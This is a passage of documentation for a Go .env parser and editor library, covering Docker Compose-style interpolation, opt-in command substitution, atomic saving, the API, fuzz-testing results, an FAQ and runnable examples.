	fmt.Printf("compose:  %q\n", compose)
	// Output:
	// extended: "C:\new\tools"
	// compose:  "C:\\new\\tools"
}

Use EscapeCompose for files Docker Compose reads, and for values holding Windows paths or regexes where a backslash means itself.

Interpolation

Applied to unquoted and double-quoted values only. Covers the full Docker Compose set — the broadest in common use, so a .env written for any other tool also reads correctly here.

Form Meaning Supported
${VAR} / $VAR direct substitution ✅
${VAR:-default} default when unset or empty ✅
${VAR-default} default only when unset ✅
${VAR:+alt} alt when set and non-empty ✅
${VAR+alt} alt when set, even if empty ✅
${VAR:?error} error when unset or empty ✅
${VAR?error} error when unset ✅
$$ literal $ — $${VAR} yields ${VAR} ✅
Nesting ${VAR:-${FOO:-default}} ✅
Chained / recursive C=${B} where B=${A} ✅
Cycles terminate: the re-entering reference sees only the lines above it, then the Lookuper, else "" A=a${B}, B=b${A} → A is ab, B is ba ✅ — Compose gives ba too, and a for A because it never reads ahead
Unresolved → "", not an error ${NOPE} ✅
Single quotes suppress it when you read that key B='${A}' → ${A} ✅ — but see the note below the table
Backticks suppress it B=`${A}` → ${A} ✅
${VAR/foo/bar} shell-style edits — ❌ not supported by Compose either

A single-quoted or backtick value is literal everywhere, including when another value references it: with B='${A}' and C=${B}, C is the text ${A} (expansion guide, step 6).

A key that refers to itself sees the definition above it, as in Docker Compose: A=1 then A=${A}2 gives 12, and ZONE=${ZONE:-x} with no earlier ZONE asks your Lookuper, then gives x (expansion guide, step 4).

The two ? forms exist to fail loudly, so they are the only ones that produce an error, a *RequiredError you match with errors.As:

// ExampleRequiredError shows how to catch a required-variable failure with
// errors.As and read which variable is missing. Empty is true for the ":?"
// form (unset or empty) and false for "?" (unset only).
func ExampleRequiredError() {
	src := "DB_PASSWORD=\n" +
		"URL=postgres://app:${DB_PASSWORD:?set it in .env}@db\n" +
		"TOKEN=${API_TOKEN?}\n"

	f := dotenv.Parse(src)
	for _, key := range []string{"URL", "TOKEN"} {
		_, _, err := f.GetExpanded(key)

		var re *dotenv.RequiredError
		if errors.As(err, &re) {
			fmt.Printf("key=%s empty=%v message=%q\n", re.Key, re.Empty, re.Message)
			fmt.Println(" ", err)
		}
	}
	// Output:
	// key=DB_PASSWORD empty=true message="set it in .env"
	//   dotenv: required variable DB_PASSWORD is not set or is empty: set it in .env
	// key=API_TOKEN empty=false message=""
	//   dotenv: required variable API_TOKEN is not set
}

ExpandedMap stops at the first such error rather than returning a half-expanded map, because a partial map gives the caller no way to tell which values are trustworthy.

Expansion is hand-written rather than delegating to os.Expand, which cannot express $$ or nesting — it stops at the first }, so the inner default of ${A:-${B:-c}} swallows the outer one.

A reference that re-enters a variable already being expanded sees only the definitions above the line being expanded, then the Lookuper, then nothing, which always terminates. The rest of each value is kept, so a cycle can still produce text: with A=a${B} and B=b${A}, A expands to ab and B to ba (ExampleFile_GetExpanded_nesting). The same rule lets a key extend itself, as in Docker Compose: A=1 then A=${A}2 gives 12, and ZONE=${ZONE:-x} with no earlier ZONE asks the Lookuper, then gives x (ExampleFile_GetExpanded_selfReference). Two separate references to one variable are not a cycle: K=${A}-${A} expands both.

How $ is dispatched

One character decides, in a single left-to-right pass. The five cases are mutually exclusive:

After $ Meaning Example → result
$ literal dollar cost 5$$ → cost 5$
( command $(whoami) → command output
{ braced variable ${NAME} → world
letter or _ bare variable $NAME/x → world/x
anything else literal dollar 100$ or so → unchanged

$${NAME} is row 1 feeding row 3: the scanner consumes $$, emits one $, and skips both bytes — so the {NAME} that follows is ordinary text. Result: ${NAME}, exactly as Compose does it.

All three forms mix freely in one value, and a command's text is expanded before it runs:

$USER-$(id)-${NAME}   →   ada-501-world
$(greet ${NAME})      →   runs: greet world

That ordering is the shell's own, and it means ${VAR:?err} errors and the cycle guard both work through a command.

Command substitution

Feature Example Supported
$(command) URL="db://$(whoami)@host" ✅ opt-in

Off by default, deliberately. With it on, merely reading a config file executes arbitrary shell — so a .env from a repository, a container image, or a teammate becomes remote code execution. That is a decision the calling application makes about files it trusts, not something a parser should do silently.

Turn it on with dotenv.WithCommandSubstitution(true), which runs sh -c, or pass dotenv.WithCommandRunner(runner) to supply a sandboxed or allow-listed runner instead. Installing a runner turns substitution on; WithCommandRunner(nil) turns on the real sh -c. Off, the $(…) text stays literal:

// ExampleWithCommandSubstitution_off shows the default: $(command) is never
// run, and the text comes back exactly as written. Reading a file must not
// execute it.
func ExampleWithCommandSubstitution_off() {
	f := dotenv.Parse("WHO=\"user-$(whoami)\"\n")
	got, _, err := f.GetExpanded("WHO")
	fmt.Printf("%q %v\n", got, err)
	// Output:
	// "user-$(whoami)" <nil>
}

A failing command expands to "", as a shell would inside a value, rather than failing the whole read. ExampleWithCommandRunner_allowList shows an allow-listed runner; the expansion guide, step 9 covers the risk in full.

Other

Feature Notes
encrypted: values Stored verbatim — this package does not decrypt. Pair it with your own key handling
CRLF files Round-trip as CRLF
Missing trailing newline Preserved
Duplicate keys Last wins, matching every dotenv implementation. Count surfaces them
Name-only lines (HOME) Recognised as a Compose inherited declaration — see below. Never resolved: this package does not read the environment

Variable expansion

Get returns the raw value. GetExpanded resolves references against the other entries in the same file — the interpolation Compose performs when it reads the file:

f.ExpandedMap() expands every active key at once:

// Example_expansion contrasts Get with GetExpanded and shows the common
// operators: a default, a literal dollar, and a single-quoted value read
// directly, which stays literal.
func Example_expansion() {
	f := dotenv.Parse(strings.Join([]string{
		"SECRET=hunter2",
		"ADMIN_PASS=${SECRET}",
		"PORT=${HTTP_PORT:-8080}",
		"PRICE=5$$",
		"LITERAL='${SECRET}'",
	}, "\n") + "\n")

	raw, _ := f.Get("ADMIN_PASS") // present in the file
	fmt.Println(raw)
	for _, key := range []string{"ADMIN_PASS", "PORT", "PRICE", "LITERAL"} {
		v, _, err := f.GetExpanded(key)
		if err != nil {
			fmt.Println(err)
			return
		}
		fmt.Printf("%s=%s\n", key, v)
	}
	// Output:
	// ${SECRET}
	// ADMIN_PASS=hunter2
	// PORT=8080
	// PRICE=5$
	// LITERAL=${SECRET}
}

Single-quoted and backtick values are not interpolated — SECRET='${A}' means the literal text ${A}, whether you read SECRET directly or through another value that references it. Expanding it would silently replace a value the author explicitly marked as literal.

Expansion is depth-bounded, so a reference cycle terminates instead of hanging the caller.

Use Get, not GetExpanded, for anything you write back. Expansion must feed what a consumer reads, never what gets persisted — otherwise a reference is flattened into a copy of its target and the link is lost.

Full guide: Variable expansion. Not sure which setup? See Choosing an expansion setup.

Saving safely

.env files hold credentials, so Save:

  • writes a sibling temp file at 0600 first — never a wider window, even briefly
  • chmods it to the target mode, then renames over the destination

A rename within a directory is atomic, so a reader never observes a half-written credentials file, and a crash mid-save leaves the original intact. A failed save removes the temp file rather than leaving it beside the real one.

Existing file modes are preserved; new files are created 0600. The explicit chmod is necessary because os.WriteFile's mode argument is filtered by the process umask, so it cannot be relied on to reproduce the original permissions.

Full guide: Saving a .env file.

Line endings and trailing newlines

Terminators are preserved per line, not per file. A file with mixed endings round-trips as mixed rather than being normalised into one style, which would be a whole-file diff nobody asked for.

Lines this package writes use CRLF as soon as the file contains a single CRLF anywhere, otherwise LF — so appending to a CRLF file does not introduce a stray LF. It is not a majority vote: one CRLF line in an otherwise LF file is enough.

// Example_lineEndings shows that each existing line keeps its own terminator,
// and that a line the package writes uses CRLF as soon as the file contains a
// single CRLF anywhere, not the style most of its lines use.
func Example_lineEndings() {
	f := dotenv.Parse("A=1\nB=2\r\nC=3\n") // two LF lines, one CRLF line
	f.Set("D", "4")
	fmt.Printf("%q\n", f.Render())
	// Output:
	// "A=1\nB=2\r\nC=3\nD=4\r\n"
}

A file that ended without a trailing newline still does not. Adding or removing one would be a spurious diff on every save. Full guide: Saving, step 3.

API

Every symbol below, with the guide section and runnable example for each, is in the feature index.

Symbol Purpose
Read(path) the shortcut — straight to map[string]string, expanded
Open(path) / Parse(content) / ParseReader(r) read from disk / a string / any io.Reader
f.Get / Has / Count read one key
f.GetExpanded read one key, interpolated — returns (value, found, error)
f.Keys / Pairs / Map / ExpandedMap read all
f.Set / SetAfter / SetBefore edit — upsert
f.Append / InsertAfter / InsertBefore generate — literal placement
NewPair / NewComment / NewBlank build entries to place
f.Unset / Restore / Disabled turn settings off and on
f.Inherited names declared as inherited from the environment (never resolved here)
WithEscapes / WithCommandSubstitution dialect options
WithPlugin install a plugin
WithLookup / WithValueTransform / WithSaveGuard / WithCommandRunner single-function hooks
f.Plugins what each installed plugin was detected as
Plugin, Lookuper, ValueTransformer, CommandRunner, SaveGuard, EntryObserver, ExpandObserver capability interfaces
f.Render / Save / SaveAs serialize / write atomically / write elsewhere
f.Clone independent deep copy
f.Entries every entry, including comments and blanks
f.Existed / Mode / Path file facts
Kind (6 kinds), Entry, Pair, RequiredError, ErrAnchorNotFound types and errors

Testing

Statement coverage — library 100.00% (611/611 statements)
Statement coverage — CLI 99.52% (1237/1243 statements)
Test functions 255
Test cases including subtests 845
Fuzz properties 8
Dependencies (library) 0

Re-measure any of it with task cover (both modules) or task test:uncovered (what's left, per function). The numbers above are the measured ones, not rounded claims.

The CLI's remaining fraction is six statements, enumerable rather than mystery: the os.Exit wrapper in main, the Windows arm of isExecutable on a non-Windows host, two fallbacks for a host that cannot locate its own working directory or executable, and two expansion-error arms the CLI's own wiring cannot produce — it never attaches a library plugin, and a plugin is the only thing that makes expansion fail with something other than a RequiredError. Every one is named, with its reason, in CONTRIBUTING.

Conformance is asserted by tests, not claimed — conformance_test.go has one assertion per syntax rule in the tables above. Every code block in the docs is a runnable Example (compiled and output-checked by go test), and task docs:check fails if a block drifts from its example.

Property-based fuzzing covers what example tests structurally cannot:

Property Guarantee
FuzzParseRender parse → render returns the input byte for byte, for any input
FuzzParseIsIdempotent re-processing a file never drifts
FuzzSetRoundTrip whatever Set writes, the parser reads back identically
FuzzSetIsIdempotent repeating an edit produces no churn
FuzzExpandTerminates expansion always halts and never panics
FuzzAppendRoundTrip whatever Append places, the parser reads back identically
FuzzDisableEnableIsReversible Unset then Restore returns the file to its original bytes
FuzzPluginsNeverAffectBytes no plugin can change the rendered bytes, for any input
task fuzz -- FuzzParseRender 30s   # one property
task fuzz:all                      # every property, 30s each
task fuzz:list                     # what is available

Bugs the property tests found

Worth stating because all three passed 100% line coverage — coverage proves every line ran, not that it was right.

  1. Backtick values were corrupted. Adding backtick quoting to the parser did not teach the renderer about it, so Set(k, "x") wrote a bare value that parsed back as x. Caught by FuzzSetRoundTrip.
  2. Mixed line endings were normalised. A single whole-file CRLF flag turned "\r\n\n" into "\r\n\r\n". Terminators are now preserved per line. Caught by FuzzParseRender.
  3. Parsing was quadratic. The lookahead for multi-line values pre-trimmed carriage returns by copying the entire remaining line slice — once per pair. A 5 MB file took 23 seconds; trimming lazily brought it to 0.14. Found by measuring, not by a test, which is why TestParse_ScalesLinearly now exists.
  4. A=$A$A hung the process. A depth bound alone cannot stop a value that branches at every level — bounded at 32, that is still 2³² expansions. Cycles are now cut by variable name. Caught by FuzzExpandTerminates.

Two further properties surfaced hazards rather than bugs, both now pinned by their own tests: appending after an unterminated quote, and Restore picking the last of several disabled entries. Neither is fixable — the first is a malformed source, the second is the "last wins" rule this package applies everywhere — so they are documented instead of papered over.

Both failing inputs are checked in under testdata/fuzz/, so they run on every go test forever.

FAQ

Does it load variables into my process like godotenv? No, deliberately — it never touches os.Environ. It parses, edits, and writes the file; you apply the values with your own precedence via f.Map(), or run a child process with them via dotenvctl run. That is why the constructor is Open, not Load.

Will editing a file destroy my comments and formatting? No — that is the whole point. Parse → render with no changes is byte-identical, and Set touches only the entry you name. Both invariants are pinned by fuzz tests, not just claimed.

Is it compatible with Docker Compose .env files? Yes — the full Compose interpolation spec (${VAR:-default}, ${VAR:?err}, nesting, $$), Compose's key charset, the : delimiter, and name-only inherited declarations. Every rule is asserted in conformance_test.go; use WithEscapes(EscapeCompose) for exact escape parity.

Does the library have dependencies? Zero — stdlib only. The CLI is a separate Go module, so cobra never enters the library's dependency graph.

How do I get typed values like int or time.Duration? Compose with a binder — sethvargo/go-envconfig or caarlos0/env for the smallest surface, or ubgo/cfgkit, which is built on this package and adds layered sources, provenance, secret masking and .env.example generation. go-envconfig takes the file through a three-line adapter, and caarlos0/env takes the map from Read; Typed configuration has compiled programs for each. Typed getters were rejected on purpose: PORT=eighty silently returning a default is a production incident.

Can it manage secrets in GitHub Actions or Vercel? Yes — dotenvctl github push / vercel push sync a selection of your file (prefix-based, renamed, placeholder-guarded) via the gh/vercel CLIs. Values travel by stdin, never argv, and output never prints them.

How is dotenvctl different from dotenv-cli or dotenvx? Those focus on loading a file into a process (and, for dotenvx, encrypting it). dotenvctl manages the file itself: byte-preserving edits, reversible disable, an environment drift matrix, contract gates for CI, and outward secret sync. See the comparison.

Is it safe to write files that hold credentials? Saves are atomic (temp file at 0600, then rename), new files are created 0600, existing permissions are preserved, and shareable CLI output masks values unless you pass --reveal.

dotenv is an open-source, comment-preserving .env file parser, editor, and CLI for Go — byte-exact round-tripping, Docker Compose interpolation, environment drift detection, and GitHub Actions / Vercel secrets sync, with zero dependencies. Apache-2.0 licensed.

Documentation

Overview

Package dotenv is a comment-preserving .env parser and editor.

Parse-to-map dotenv libraries throw away everything that is not a key or a value, so writing a file back destroys its comments, blank lines, ordering, and quoting style. This package edits LINE-WISE instead: every byte outside the entry you touch survives verbatim. Two invariants, both pinned by tests:

parse → render with no changes  ⇒  byte-identical output
Set(key, <current value>)       ⇒  byte-identical output (a true no-op)

That matters for a file a human wrote and a tool edits. A `.env` is documentation as much as configuration, and a tool that silently strips the comment explaining why a value exists has damaged the file even though every key survived.

What it understands

KEY=value                 a pair
KEY: value                a pair — Compose and Node dotenv accept the colon
                          delimiter too, and the author's choice is preserved
export KEY=value          the export prefix is preserved
KEY                       a name with no delimiter: a Compose "inherited"
                          declaration — recognised but never resolved (§ scope)
KEY="quoted value"        double quotes; \" and \\ are interpreted
KEY='literal value'       single quotes; fully literal
KEY="line one            a quoted value whose quote does not close keeps
line two"                 going, and the whole block is one logical entry
KEY=value # note          an inline comment, preserved on edit
# a comment               kept verbatim
<blank>                   kept verbatim

Escape policy

Inside double quotes only `\"` and `\\` are interpreted. There is NO `\n` expansion — a newline in a value is a real newline in the file. Single-quoted values are entirely literal. This mirrors Docker Compose's .env handling rather than shell semantics, because a .env is far more often read by compose than sourced by a shell.

Scope: a parser and editor, not a loader

This package NEVER touches os.Environ. Reading a .env and exporting it into the process are separate decisions, and conflating them is why godotenv.Load means something this package must not mean. A caller that wants the values in its environment applies its own precedence policy over f.Map().

It also does not merge multiple files. Merging is a precedence policy — which file wins, per key — and the whole guarantee here is that one file maps to one set of bytes. Merged content has no single file to render back to, so it could not round-trip. Layer that above this package.

It does not coerce values to types. Every value is a string, because a .env has none — PORT=8443 is four characters, and which Go type that becomes depends on the field it is bound to. A *File satisfies the Lookuper interface used by struct-binding packages with a three-line adapter, so typed configuration composes rather than being reimplemented here. See the README.

It does not stream. Parse and ParseReader both hold the whole file, and three separate features depend on that: a forward reference resolves against a key defined further down, insertion needs an index into a complete entry list, and byte-exact rendering needs every original line. A streaming parser would have to abandon all three.

It would also be dangerous rather than merely limited. Streaming could resolve BACKWARD references from a running map — but with a duplicated key, "last wins" cannot be known until the file ends, so the same bytes would expand to one value here and another there. Two APIs disagreeing about one file is worse than one API doing less.

If the streaming case ever becomes real, the shape it would take is a Scan over physical lines with byte-exactness and forward references dropped — a different, lesser contract, which is why it is not this one.

Naming

Named for the format, the way encoding/json and yaml are — not for the file it reads. The constructor is Open rather than Load because godotenv.Load sets os.Environ, and this package deliberately never touches the environment: it hands back a file you read, edit, and save. A Load here would mean the opposite of every other Load in the ecosystem.

Line endings and permissions

CRLF files render back as CRLF. A file's existing mode is preserved; a new one is created 0600, because .env files hold credentials and a group-readable secret is a leak.

Example (Cloning)

Example_cloning derives production from staging: Clone, change one value, and every reference stays a reference, so the derived values follow the edit. The source file is left untouched.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	staging := dotenv.Parse("DOMAIN=staging.acme.io\nAPI_URL=https://api.${DOMAIN}\nSECRET=${VAULT_TOKEN:?set me}\n")

	prod := staging.Clone() // independent deep copy
	prod.Set("DOMAIN", "acme.io")
	fmt.Print(prod.Render())

	url, _, err := prod.GetExpanded("API_URL")
	if err != nil {
		fmt.Println(err)
		return
	}
	fmt.Println(url)
	domain, _ := staging.Get("DOMAIN") // present in the source
	fmt.Println(domain)
}
Output:
DOMAIN=acme.io
API_URL=https://api.${DOMAIN}
SECRET=${VAULT_TOKEN:?set me}
https://api.acme.io
staging.acme.io
Example (DisabledSettings)

Example_disabledSettings shows that a commented-out setting is its own kind with a readable key and value, that it stays inactive, and that Restore turns it back on without inventing any bytes.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	f := dotenv.Parse("# DB_USER=admin\n# just a note\nDB_HOST=db\n")

	for _, e := range f.Entries() {
		fmt.Printf("%-13s %q\n", e.Kind, e.Key)
	}
	fmt.Println(f.Has("DB_USER"), f.Disabled()[0].Key)

	f.Restore("DB_USER")
	fmt.Print(f.Render())
}
Output:
disabled-pair "DB_USER"
comment       ""
pair          "DB_HOST"
false DB_USER
DB_USER=admin
# just a note
DB_HOST=db
Example (Editing)

Example_editing covers the upsert family: Set updates in place or appends, SetAfter places a new key next to an anchor, a missing anchor is an error rather than a silent append, and Unset comments a key out reversibly.

package main

import (
	"errors"
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	f := dotenv.Parse("DB_HOST=localhost\nDB_PORT=5432\nOLD_KEY=x\n")

	created := f.Set("API_KEY", "secret") // appends: the key was new
	fmt.Println("created:", created)

	if _, err := f.SetAfter("DB_PORT", "DB_PASSWORD", "s3cret"); err != nil {
		fmt.Println(err)
		return
	}

	_, err := f.SetAfter("NO_SUCH_KEY", "X", "1")
	fmt.Println("missing anchor:", errors.Is(err, dotenv.ErrAnchorNotFound))

	f.Unset("OLD_KEY", false) // false: comment it out; true would delete the line
	fmt.Print(f.Render())
}
Output:
created: true
missing anchor: true
DB_HOST=localhost
DB_PORT=5432
DB_PASSWORD=s3cret
# OLD_KEY=x
API_KEY=secret
Example (Expansion)

Example_expansion contrasts Get with GetExpanded and shows the common operators: a default, a literal dollar, and a single-quoted value read directly, which stays literal.

package main

import (
	"fmt"
	"strings"

	"github.com/ubgo/dotenv"
)

func main() {
	f := dotenv.Parse(strings.Join([]string{
		"SECRET=hunter2",
		"ADMIN_PASS=${SECRET}",
		"PORT=${HTTP_PORT:-8080}",
		"PRICE=5$$",
		"LITERAL='${SECRET}'",
	}, "\n") + "\n")

	raw, _ := f.Get("ADMIN_PASS") // present in the file
	fmt.Println(raw)
	for _, key := range []string{"ADMIN_PASS", "PORT", "PRICE", "LITERAL"} {
		v, _, err := f.GetExpanded(key)
		if err != nil {
			fmt.Println(err)
			return
		}
		fmt.Printf("%s=%s\n", key, v)
	}
}
Output:
${SECRET}
ADMIN_PASS=hunter2
PORT=8080
PRICE=5$
LITERAL=${SECRET}
Example (Generating)

Example_generating builds a file from nothing with the literal family: constructors make entries, Append places them at the end, and InsertAfter places a block next to an anchor as one unit.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	// banner is the rule line around each section heading.
	const banner = "------------------"

	f := dotenv.Parse("")
	f.Append(
		dotenv.NewComment(banner, "DATABASE", banner),
		dotenv.NewPair("DB_HOST", "localhost"),
		dotenv.NewPair("DB_PORT", "5432"),
		dotenv.NewBlank(),
		dotenv.NewComment(banner, "AUTH", banner),
		dotenv.NewPair("AUTH_SECRET", "change me"),
	)
	err := f.InsertAfter("DB_PORT", dotenv.NewPair("DB_PASSWORD", "s"))
	if err != nil {
		fmt.Println(err)
		return
	}
	fmt.Print(f.Render())
}
Output:
# ------------------
# DATABASE
# ------------------
DB_HOST=localhost
DB_PORT=5432
DB_PASSWORD=s

# ------------------
# AUTH
# ------------------
AUTH_SECRET="change me"
Example (InheritedDeclarations)

Example_inheritedDeclarations reads a Compose-style name-only line. The package lists the name but never resolves it; the application layers its own source on top (a map stands in for os.LookupEnv here).

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	f := dotenv.Parse("DATABASE_URL=postgres://localhost/dev\nAWS_REGION\n")
	host := map[string]string{"AWS_REGION": "eu-west-1"} // stands in for the process environment

	env := f.Map()
	fmt.Println(f.Inherited(), len(env))
	for _, name := range f.Inherited() {
		if v, ok := host[name]; ok { // the caller's decision, not the parser's
			env[name] = v
		}
	}
	fmt.Println(env["AWS_REGION"])
}
Output:
[AWS_REGION] 1
eu-west-1
Example (LineEndings)

Example_lineEndings shows that each existing line keeps its own terminator, and that a line the package writes uses CRLF as soon as the file contains a single CRLF anywhere, not the style most of its lines use.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	f := dotenv.Parse("A=1\nB=2\r\nC=3\n") // two LF lines, one CRLF line
	f.Set("D", "4")
	fmt.Printf("%q\n", f.Render())
}
Output:
"A=1\nB=2\r\nC=3\nD=4\r\n"
Example (Plugins)

Example_plugins installs two single-function hooks: a lookup that fills a reference the file does not define, and a value transform that decrypts. Get still returns what is on disk; only GetExpanded sees the plaintext, and the rendered bytes never change.

package main

import (
	"fmt"
	"strings"

	"github.com/ubgo/dotenv"
)

func main() {
	// cipherPrefix marks a value the transform must decrypt.
	const cipherPrefix = "encrypted:"
	vault := map[string]string{"c2VjcmV0": "hunter2"} // a fake secret store
	fallback := map[string]string{"REGION": "eu-west-1"}

	src := "DB_PASS=encrypted:c2VjcmV0\nZONE=${REGION}-a\n"
	f := dotenv.Parse(src,
		dotenv.WithLookup(func(name string) (string, bool) {
			v, ok := fallback[name]
			return v, ok
		}),
		dotenv.WithValueTransform(func(key, v string) (string, error) {
			s, ok := strings.CutPrefix(v, cipherPrefix)
			if !ok {
				return v, nil
			}
			plain, found := vault[s]
			if !found {
				return "", fmt.Errorf("%s: no secret for %q", key, s)
			}
			return plain, nil
		}),
	)

	raw, _ := f.Get("DB_PASS") // present in the file
	pass, _, err := f.GetExpanded("DB_PASS")
	if err != nil {
		fmt.Println(err)
		return
	}
	zone, _, err := f.GetExpanded("ZONE")
	if err != nil {
		fmt.Println(err)
		return
	}
	fmt.Println(raw)
	fmt.Println(pass)
	fmt.Println(zone)
	fmt.Println(f.Render() == src)
}
Output:
encrypted:c2VjcmV0
hunter2
eu-west-1-a
true
Example (Quickstart)

Example_quickstart is the five-minute tour: open a .env, read one value raw and expanded, change another, and save. Every byte you did not touch, including the comment and the reference, is written back as it was.

package main

import (
	"fmt"
	"os"
	"path/filepath"

	"github.com/ubgo/dotenv"
)

func main() {
	dir, err := os.MkdirTemp("", "dotenv-quickstart")
	if err != nil {
		fmt.Println(err)
		return
	}
	defer func() {
		// Cleanup is best-effort; a failure goes to stderr so the example's
		// checked stdout output is unaffected.
		if err := os.RemoveAll(dir); err != nil {
			fmt.Fprintln(os.Stderr, "cleanup:", err)
		}
	}()

	path := filepath.Join(dir, ".env")
	src := "# where the API lives\nDOMAIN=staging.acme.io\nAPI_URL=https://api.${DOMAIN}\n"
	if err := os.WriteFile(path, []byte(src), 0o600); err != nil {
		fmt.Println(err)
		return
	}

	f, err := dotenv.Open(path) // a missing file is not an error
	if err != nil {
		fmt.Println(err)
		return
	}

	raw, _ := f.Get("API_URL") // the bool reports presence; API_URL is present
	url, _, err := f.GetExpanded("API_URL")
	if err != nil {
		fmt.Println(err)
		return
	}
	fmt.Println(raw)
	fmt.Println(url)

	f.Set("DOMAIN", "acme.io")
	if err := f.Save(); err != nil { // atomic: temp file at 0600, then rename
		fmt.Println(err)
		return
	}

	saved, err := os.ReadFile(path)
	if err != nil {
		fmt.Println(err)
		return
	}
	fmt.Print(string(saved))
}
Output:
https://api.${DOMAIN}
https://api.staging.acme.io
# where the API lives
DOMAIN=acme.io
API_URL=https://api.${DOMAIN}
Example (Reading)

Example_reading shows what each read accessor returns for a file with a duplicated key and a commented-out setting: duplicates resolve to the last occurrence, and disabled lines are invisible to every accessor.

package main

import (
	"fmt"

	"github.com/ubgo/dotenv"
)

func main() {
	f := dotenv.Parse("A=1\nB=2\nA=3\n# C=off\n")

	v, ok := f.Get("A")
	fmt.Println(v, ok)             // last occurrence wins
	fmt.Println(f.Has("C"))        // disabled lines are not active keys
	fmt.Println(f.Count("A"))      // how many active A lines exist
	fmt.Println(f.Keys())          // active keys, file order, deduplicated
	fmt.Println(len(f.Pairs()))    // active pairs, duplicates included
	fmt.Println(f.Map()["A"])      // effective view
	fmt.Println(len(f.Disabled())) // the commented-out setting is still known
}
Output:
3 true
false
2
[A B]
3
3
1
Example (TypedConfig)

Example_typedConfig binds expanded strings to a typed struct with the standard library only, reporting every malformed value at once.

package main

import (
	"errors"
	"fmt"
	"strconv"
	"strings"
	"time"

	"github.com/ubgo/dotenv"
)

// plugConfig is the typed view an application wants of its .env.
type plugConfig struct {
	Port  int
	Debug bool
	Wait  time.Duration
	Hosts []string
	Token string
}

// Defaults applied when a key is absent. A key that is present but malformed
// is an error, never a silent fall back to these.
const (
	plugDefaultPort = 8080
	plugDefaultWait = 30 * time.Second
	plugHostsSep    = ";"
)

// plugBind converts expanded string values into plugConfig. It collects every
// problem and returns them together, so one run shows everything to fix.
func plugBind(m map[string]string) (plugConfig, error) {
	cfg := plugConfig{Port: plugDefaultPort, Wait: plugDefaultWait}
	var errs []error

	if v, ok := m["PORT"]; ok {
		n, err := strconv.Atoi(v)
		if err != nil {
			errs = append(errs, fmt.Errorf("PORT: %q is not an integer", v))
		}
		cfg.Port = n
	}
	if v, ok := m["DEBUG"]; ok {
		b, err := strconv.ParseBool(v)
		if err != nil {
			errs = append(errs, fmt.Errorf("DEBUG: %q is not a boolean", v))
		}
		cfg.Debug = b
	}
	if v, ok := m["WAIT"]; ok {
		d, err := time.ParseDuration(v)
		if err != nil {
			errs = append(errs, fmt.Errorf("WAIT: %q is not a duration", v))
		}
		cfg.Wait = d
	}
	if v := m["HOSTS"]; v != "" {
		cfg.Hosts = strings.Split(v, plugHostsSep)
	}
	cfg.Token = m["TOKEN"]
	if cfg.Token == "" {
		errs = append(errs, errors.New("TOKEN: required"))
	}
	return cfg, errors.Join(errs...)
}

func main() {
	// dotenv supplies expanded strings; the application decides their types.
	good := "DOMAIN=acme.io\n" +
		"PORT=8443\n" +
		"DEBUG=true\n" +
		"HOSTS=api.${DOMAIN};www.${DOMAIN}\n" +
		"TOKEN=t-123\n"

	m, err := dotenv.Parse(good).ExpandedMap()
	if err != nil {
		fmt.Println("error:", err)
		return
	}
	cfg, err := plugBind(m)
	if err != nil {
		fmt.Println("error:", err)
		return
	}
	fmt.Printf("%+v\n", cfg)

	// Every problem is reported at once, and none falls back to a default.
	bad := "PORT=eighty\nWAIT=soon\n"
	m, err = dotenv.Parse(bad).ExpandedMap()
	if err != nil {
		fmt.Println("error:", err)
		return
	}
	_, err = plugBind(m)
	fmt.Println(err)
}
Output:
{Port:8443 Debug:true Wait:30s Hosts:[api.acme.io www.acme.io] Token:t-123}
PORT: "eighty" is not an integer
WAIT: "soon" is not a duration
TOKEN: required

Index

Examples

Constants

This section is empty.

Variables

View Source
var ErrAnchorNotFound = errors.New("dotenv: anchor key not found")

ErrAnchorNotFound is returned by SetAfter and SetBefore when the anchor key has no active entry.

A dedicated error rather than a silent append: the whole point of positional insertion is WHERE the key lands, so quietly putting it at the end would defeat the call while reporting success.

Functions

func Read

func Read(path string, opts ...Option) (map[string]string, error)

Read is the whole-file shortcut: open, parse, expand, and hand back the values.

m, err := dotenv.Read(".env")

Equivalent to Open followed by ExpandedMap, which is what most callers want when they only need the configuration and will never write the file back.

The values are EXPANDED, because that is what a consumer sees: a value stored as "https://api.${DOMAIN}" arrives resolved. Use Open and Map instead when the file will be edited and saved — persisting an expanded value bakes the reference and silently breaks the cascade.

A missing file is an error here, unlike Open. Open exists partly to bootstrap a file that does not yet exist; Read is for consuming one that should.

It does not touch os.Environ. Nothing in this package does.

Example

ExampleRead loads a file straight into a map with every ${reference} resolved: the one-call path for a program that only consumes configuration and never writes the file back.

package main

import (
	"fmt"
	"os"
	"path/filepath"
	"sort"

	"github.com/ubgo/dotenv"
)

func main() {
	// envFile is the name the example writes inside its own temp directory.
	const envFile = ".env"

	dir, err := os.MkdirTemp("", "dotenv-read")
	if err != nil {
		fmt.Println(err)
		return
	}
	defer func() {
		// Cleanup is best-effort; a failure goes to stderr so the example's
		// checked stdout output is unaffected.
		if err := os.RemoveAll(dir); err != nil {
			fmt.Fprintln(os.Stderr, "cleanup:", err)
		}
	}()

	path := filepath.Join(dir, envFile)
	content := "DOMAIN=example.com\nAPI_URL=https://api.${DOMAIN}\n# DEBUG=true\n"
	if err := os.WriteFile(path, []byte(content), 0o600); err != nil {
		fmt.Println(err)
		return
	}

	m, err := dotenv.Read(path)
	if err != nil {
		fmt.Println(err)
		return
	}
	// A map has no order; sort the keys so the output is stable.
	keys := make([]string, 0, len(m))
	for k := range m {
		keys = append(keys, k)
	}
	sort.Strings(keys)
	for _, k := range keys {
		fmt.Printf("%s=%s\n", k, m[k])
	}

	// Unlike Open, Read treats a missing file as an error.
	_, err = dotenv.Read(filepath.Join(dir, "missing.env"))
